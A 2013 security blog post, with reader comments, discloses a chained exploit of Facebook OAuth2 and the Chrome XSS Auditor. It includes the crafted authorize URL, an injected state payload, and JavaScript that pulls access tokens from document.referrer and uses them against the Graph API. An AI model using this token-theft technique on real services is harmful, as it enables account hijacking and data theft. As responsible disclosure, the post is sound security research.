Tuesday, February 19, 2013

How we hacked Facebook with OAuth2 and Chrome bugs

TL;DR We (me and @isciurus) chained several different bugs in Facebook, OAuth2 and Google Chrome to craft an interesting exploit. MalloryPage can obtain your signed_request, code and access token for any client_id you previously authorized on Facebook. The flow is quite complicated so let me explain the bugs we used.

1. in Google Chrome XSS Auditor, leaking document.referrer.
3 weeks ago I wrote disclosure post on referrer leakage for pages with X-XSS-Protection: '1;mode=block'. Please read the original post to understand how it works. When Auditor blocks page, it redirects to about:blank URL (about:blank always inherits parent's origin). And we can access document.referrer containing the previous URL Auditor just blocked. Facebook had '1; mode=block' header. Now it's 0; because of us (Auditor is dangerous, new vulns will be posted soon). Sadly, this bug report was marked as sev=low by Chrome security team and no bounty granted.
It's not patched yet.

2. OAuth2 is... quite unsafe auth framework. Gigantic attack surface, all parameters are passed in URL. I will write a separate post about OAuth1 vs OAuth2 in a few weeks. Threat Model is bigger than in official docs.
In August 2012 I wrote a lot about common vulnerabilities-by-design and even proposed to fix it: OAuth2.a.

We used 2 bugs: dynamic redirect_uri and dynamic response_type parameter.
response_type=code is the most secure authentication flow, because end user never sees his access_token. But response_type is basically a parameter in authorize URL. By replacing response_type=code to response_type=token,signed_request we receive both token and code on our redirect_uri.

redirect_uri can be not only app's domain, but facebook.com domain is also allowed.
In our exploit we used response_type=token,signed_request&redirect_uri=FB_PATH where FB_PATH was a specially crafted URL to disclose these values...

3. location.hash disclosure on facebook.com
For response_type=token provider sends an access token in location fragment (aka location.hash) to avoid data leaking via referrers (location.hash is never sent in referrers)
@isciurus found a "bouncing" hashbang in September 2012. The trick was: facebook removes '#' from URLs containing "#!" (AJAX google indexation trick) , it boils down to copying location.hash into URL and discloses access token in document.referrer.
Later, in January he just found another bypass of "fixed" vulnerability, using %23 instead of #.

Here we go - PoC, look at the source code.

cut_me Custom Payload we used to make Auditor to block the final page. We put it in the 'state' parameter (used to prevent CSRF, you must know!)
target_app_id client_id we want to steal access_token and code from. In "real world" exploit we would use 100-200 most popular Facebook applications and just gather all the available tokens. It would be awesome.
sensitive_info - tampering of response_type parameter: signed_request and token are Private Info we are going to leak through document.referrer
Now the final URL:
url = "http://www.facebook.com/dialog/oauth?client_id=" + target_app_id + "&response_type="+sensitive_info+"&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D"+cut_me+"&sdk=joey";

Value will look like:

http://www.facebook.com/dialog/oauth?client_id=111239619098&response_type=token%2Csigned_request&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D%3Cscript%3Evar%20bigPipe%20%3D%20new%20(require('BigPipe'))(%7B%22lid%22%3A0%2C%22forceFinish%22%3Atrue%7D)%3B%3C%2Fscript%3E&sdk=joey

Steps:

1) We open 25 windows (this is maximum amount of allowed windows in Chrome) with different target_app_id. Gotcha: Chrome DOES load the URL even if it blocks a window. This makes exploit even cooler: we open 25 windows, all of them are blocked but loaded, Auditor blocks Custom Payload, we grab document.referrer, user is not scared at all.

2) If user previously authorized certain app_id he will be automatically redirected to
FB_PATH#...signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD

3) Here Facebook javascript removes '#' from the URL and redirects user to another FB_PATH/...?signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD

4) Now server responds with HTML page and
X-XSS-Protection: '1; mode=block'
header.
Chrome XSS Auditor detects state=CUSTOM_PAYLOAD in HTML code of response:
<script>var bigPipe = new (require('BigPipe'))({"lid":0,"forceFinish":true});</script>'
blocks and redirects to about:blank

5) On MalloryPage we have setInterval which waits for location.href=='about:blank'.
about:blank inherits our MalloryPage origin - so we have access to document.referrer. Final routine:

playground.close();
clearInterval(int);
var ref = playground.document.referrer;
window.token = ref.match(/token=([^\&]+)/)
if(window.token){
  window.token = window.token[1];
  document.write('<script src="https://graph.facebook.com/me?callback=hello&access_token='+window.token+'"><'+'/script>');
}
var hello = function(data){
  alert('Whats up '+data.name+" your token is "+window.token);
}

Voila! Using this exploit we can obtain code, signed_request and your access_token for any Client.

After party.
We are splitting $2500 + $2500 bounty from Facebook and working on new attacks.

You really must check the coming soon article I promised to write in a few weeks, explaining how broken OAuth2 is.
For example, if you authenticate users with Facebook it means any XSS on your website can steal User's account. Currently I'm discussing and proposing new ways to Facebook security team how to handle it and make response_type=code more secure, because they are the biggest provider and their decisions matter. If we don't fix it - it's The Road To Hell!

By the way there is another sev=medium vulnerability in Chrome Auditor, will be published as soon as it will be patched :)

HN/reddit

40 comments:

  1. I knew how vulnerable Facebook could be, and deleted my account last year, but now it looks like it's also time to dump Chromium browser!

    Awesome work! Thank you for sharing!

    ReplyDelete
    Replies
    1. May be you should realize how vulnerable are you while walking on the road.

      Delete
    2. If you are going to dump every website/piece of software that has contained a vulnerability you will need to stop using the Internet as there are none that have not contained at least one.

      Delete
    3. You should try my new browser. It's not publicly available, and I can guarantee that no exploits have been found in it. I haven't even looked for any!

      Delete
    4. Agree with the previous 3 posts. Facebook is vulnerable, just like everywhere else on the internet, just don't be dumb and post extremely personal information then it won't really matter.

      Delete
    5. I think the problem is the sensitive, personal data that people tend to store in a facebook. Not the fact that there are vulnerabilities. If you need to network there are better bets than facebook.

      Delete
  2. Why does the first comment on such an article have to be from a retard / troll?

    ReplyDelete
    Replies
    1. Why does the second comment have to come from someone reacting to the retard/troll? ;)

      Delete
  3. Great problem solving, well written :) and nice catch. Thanks for helping to make the web safer for everyone!

    ReplyDelete
  4. This seems like an implementation problem. If the OAuth 2 Provider is exclusively access code access and requires confidential clients I don't see how any of your hacks can work. This is why in our OAuth 2 implementat (Resteasy), we don't allow any of the public and insecure options for OAuth2.

    ReplyDelete
  5. You're making it a lot harder for legitimate researchers to get access to using the APIs

    ReplyDelete
  6. Hopefully, Google is fully aware of this but I hope they close this vul ASAP and look for more to close before someone's else drive them.

    What's going on with security and malware? I can't remember when was the last time I skimmed Techmeme/Hackernews without seeing such "hacked" articles. Damn!

    ReplyDelete
    Replies
    1. >What's going on with security and malware? I can't remember when was the last time I skimmed Techmeme/Hackernews without seeing such "hacked" articles. Damn!

      do you mean you see 'hacked' very often? this is nice!

      Delete
  7. Facebook gives you at least $500, if you hack their site. Have they paid you?

    ReplyDelete
    Replies
    1. Apparently you didn't bother to read the entire article

      Delete
  8. I'm guessing the XSS filter in the Firefox NoScript addon doesn't have this vulnerability?

    ReplyDelete
    Replies
    1. hm. didn't check actually.. does it leave document.referrer?

      Delete
  9. Can someone explain the article in a much simpler way?

    ReplyDelete
    Replies
    1. sorry dude, i don't explain in a simple ways on my blog. it takes a lot of time

      Delete
  10. I think the $2,500 bounty is pretty shity for a company worth billions. You're doing weeks of intrusion analysis for mere pennies. It seems to me like they're 20 orders of magnitude off in that.

    You're a nice guy.

    ReplyDelete
    Replies
    1. the exploit is combination of different bugs and only fo chrome, so i don't think they must have paid more.
      It would cost much more on a black market though

      Delete
    2. How to find a way to this black market?

      Delete
  11. WOW great... thats briliant idea, GOOD JOB

    ReplyDelete
  12. А по русски описать?

    ReplyDelete
  13. Да, Я бы тоже попросил на русском, уж больно сложно читать это все на инглише

    ReplyDelete
    Replies
    1. че сложного то, базовые все слова.
      меня забанили на хабре, лавочка закрыта

      Delete
    2. А тем кто вообще английский не знает?

      Delete
    3. Uchica uchica i eshe raz uchica

      Delete
  14. If I am reading this correctly, you could make posts as the app owner by hijacking the session? If so, you could have made hundreds of thousands off of this exploit. Totally not worth it for $2500. Unless I've read this wrong of course.

    ReplyDelete
    Replies
    1. yes i could hijack access token and post like i'm any app user authorized.
      well it would take a lot of time, and it's black hat

      Delete
  15. When is this exploit going to be installed in public urinals? It has a lot of promise.

    ReplyDelete
  16. What drives you to find out vulnerabiities and what makes you a genius in security?

    ReplyDelete
  17. Saying that oAuth 2 has huge security holes is pretty big untrue statement. What you found was not a oAuth 2 hole, what you found was a poorly written application that allowed you to take control of it. Don't blame the protocol when the developer didn't follow its specs...

    ReplyDelete
    Replies
    1. OAuth is not just framework, it is also infrastructure around it. And yes it's OAuth to blame because their spec sucks. E.g. why whitelist redirect_uri and send it over in URL at the same time? Poor protocol, with even more poor implementation by its main provider - Facebook.

      Delete